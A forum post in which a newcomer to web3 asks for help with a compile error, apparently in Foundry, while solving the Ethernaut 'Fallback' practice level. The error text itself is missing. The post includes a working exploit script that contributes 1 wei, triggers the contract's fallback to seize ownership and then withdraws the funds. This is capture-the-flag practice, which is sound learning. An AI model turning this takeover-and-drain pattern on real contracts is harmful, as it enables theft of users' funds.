Having a problem with compiling a contract

[alekszlat]

Hi, I am new to the web3 community and recently started interacted with Foundry. I got introduced to Ethernaut to practice my knowledge. I've set up everything. I've written my code, checked all address, set up the testnet but when I start to compile my contract I get this error:
' ' '

I am currently solving the Fallback contract and this is my contract code solution:
' ' '
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/Fallback.sol"; // Ensure this path is correct and the Fallback contract exists at this location
import "forge-std/Script.sol";
import "forge-std/console.sol";

contract FallbackSolution is Script {

Fallback public fallbackInstance = Fallback(payable(0xD526d23Ef31042dE670d3DE38582d15eDA76ECdE));

function run() external {
    vm.startBroadcast(vm.envUint("PRIVATE_KEY"));

    console.log("Calling contribute...");
    fallbackInstance.contribute{value: 1 wei}();
    console.log("Contribute called successfully.");

    console.log("Sending Ether to fallback function...");
    (bool success, ) = address(fallbackInstance).call{value: 1 wei}("");
    require(success, "Fallback call failed");
    console.log("Ether sent successfully.");

    console.log("New Owner: ", fallbackInstance.owner());
    console.log("My Address: ", vm.envAddress("MY_ADDRESS"));

    console.log("Calling withdraw...");
    fallbackInstance.withdraw();
    console.log("Withdraw called successfully.");

    vm.stopBroadcast();
}

}

I don't know how I am supposed to resolve this issue.
